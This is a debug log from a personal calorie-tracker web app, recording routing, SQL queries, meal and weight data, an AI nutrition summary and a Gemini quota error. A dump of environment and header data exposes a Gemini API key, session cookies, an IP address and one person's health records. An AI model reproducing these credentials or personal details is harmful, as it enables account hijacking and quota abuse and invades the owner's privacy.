2025-12-17T03:41:58.510Z server-connect:output list: [
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-17T03:42:01.352Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T03:42:01.352Z server-connect:app Executing action step identify
2025-12-17T03:42:01.352Z server-connect:app options: { provider: 'security' }
2025-12-17T03:42:01.352Z server-connect:output identity: 1
2025-12-17T03:42:01.352Z server-connect:app Executing action step restrict
2025-12-17T03:42:01.352Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T03:42:01.353Z server-connect:output restrict: undefined
2025-12-17T03:42:01.353Z server-connect:router Render template calorie-tracker
2025-12-17T03:42:01.353Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-17T03:42:01.595Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T03:42:01.595Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T03:42:01.595Z server-connect:app Executing action step identify
2025-12-17T03:42:01.595Z server-connect:app options: { provider: 'security' }
2025-12-17T03:42:01.595Z server-connect:output identity: 1
2025-12-17T03:42:01.595Z server-connect:app Executing action step restrict
2025-12-17T03:42:01.595Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:42:01.596Z server-connect:app Executing action step identify
2025-12-17T03:42:01.596Z server-connect:app options: { provider: 'security' }
2025-12-17T03:42:01.596Z server-connect:output identity: 1
2025-12-17T03:42:01.596Z server-connect:app Executing action step restrict
2025-12-17T03:42:01.596Z server-connect:app options: { provider: 'security' }
2025-12-17T03:42:01.596Z server-connect:output restrict: undefined
2025-12-17T03:42:01.596Z server-connect:app Executing action step single
2025-12-17T03:42:01.596Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T03:42:01.596Z server-connect:output restrict: undefined
2025-12-17T03:42:01.596Z server-connect:app Executing action step single
2025-12-17T03:42:01.596Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T03:42:01.597Z server-connect:output summary: {
  summary: {
    rating: 4,
    summary: "The day's intake appears limited, with a focus on supplements. While the protein from the whey is beneficial, the overall meal diversity seems low, potentially impacting micronutrient intake and recovery. Consistency in workout attendance is a positive, but dietary variety is needed for optimal muscle development and fat loss.",
    bad_points: [
      "Limited food variety, with a significant portion of the day's intake coming from supplements.",
      'Lack of complete meals makes it difficult to assess overall nutrient balance.',
      'Potential for insufficient fiber and micronutrients due to limited whole foods.'
    ],
    good_points: [
      'Consistent gym attendance 5 times per week supports muscle development.',
      'Inclusion of whey protein post-workout aids in muscle repair.'
    ],
    suggestions: [
      'Incorporate a balanced meal with lean protein, complex carbohydrates, and vegetables after the workout.',
      'Add a variety of fruits and vegetables throughout the day to ensure adequate micronutrient intake.',
      'Consider a balanced breakfast and lunch to support energy levels and recovery.',
      'Ensure adequate hydration, especially with early morning workouts.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'Slight downward trend with some fluctuations.'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T03:42:01.597Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T03:42:01.598Z server-connect:app Executing action step select
2025-12-17T03:42:01.598Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T03:42:01.599Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  }
]
2025-12-17T03:42:01.599Z server-connect:app Executing action step setvalue
2025-12-17T03:42:01.599Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T03:42:01.599Z server-connect:output var_total: 202
2025-12-17T03:42:01.599Z server-connect:app Executing action step setvalue
2025-12-17T03:42:01.599Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T03:42:01.599Z server-connect:output var_consumed: 8
2025-12-17T03:42:01.599Z server-connect:app Executing action step setvalue
2025-12-17T03:42:01.599Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T03:42:01.599Z server-connect:output var_deficit: 2198
2025-12-17T03:42:01.599Z server-connect:app Executing action step custom
2025-12-17T03:42:01.599Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T03:42:01.600Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '202',
    surplus_or_deficit: '2198',
    status_flag: 2
  }
]
2025-12-17T03:42:02.170Z server-connect:app Executing action step identify
2025-12-17T03:42:02.170Z server-connect:app options: { provider: 'security' }
2025-12-17T03:42:02.170Z server-connect:output identity: 1
2025-12-17T03:42:03.286Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-17T03:42:03.286Z server-connect:app Executing action step identify
2025-12-17T03:42:03.286Z server-connect:app options: { provider: 'security' }
2025-12-17T03:42:03.287Z server-connect:output identity: 1
2025-12-17T03:42:03.287Z server-connect:app Executing action step restrict
2025-12-17T03:42:03.287Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:42:03.287Z server-connect:output restrict: undefined
2025-12-17T03:42:03.287Z server-connect:app Executing action step select
2025-12-17T03:42:03.287Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-17T03:42:03.288Z server-connect:output items_consumed_today: [
  {
    id: 417,
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)'
  },
  {
    id: 418,
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)'
  },
  {
    id: 419,
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)'
  }
]
2025-12-17T03:42:03.288Z server-connect:app Executing action step paged
2025-12-17T03:42:03.288Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-17T03:42:03.290Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 13,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-17T03:42:03.290Z server-connect:app Executing action step run
2025-12-17T03:42:03.290Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-17T03:42:03.291Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 417 | Walnuts | 98 | 2 | 2 | 10 | 2 full walnuts (approx 15g edible portion) |\n' +
  '| 418 | Pre-workout supplement | 5 | 1 | 1 | 0 | 1 scoop (6.5g) |\n' +
  '| 419 | Whey Protein | 99 | 20 | 2 | 1 | 1 scoop (26g) |\n' +
  '\n'
2025-12-17T03:42:03.291Z server-connect:app Executing action step run
2025-12-17T03:42:03.291Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-17T03:42:03.292Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-17T03:42:03.292Z server-connect:app Executing action step setvalue
2025-12-17T03:42:03.292Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-17T03:42:03.292Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 417 | Walnuts | 98 | 2 | 2 | 10 | 2 full walnuts (approx 15g edible portion) |\n' +
  '| 418 | Pre-workout supplement | 5 | 1 | 1 | 0 | 1 scoop (6.5g) |\n' +
  '| 419 | Whey Protein | 99 | 20 | 2 | 1 | 1 scoop (26g) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-17T03:42:03.292Z server-connect:app Executing action step processWithGemini
2025-12-17T03:42:03.292Z server-connect:app options: { request_type: 'meal_summary', raw_text: '{{raw_value}}' }
Error processing meal_summary data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 20, model: gemini-2.5-flash-lite\\nPlease retry in 56.649865301s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-flash-lite\"\n            },\n            \"quotaValue\": \"20\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"56s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
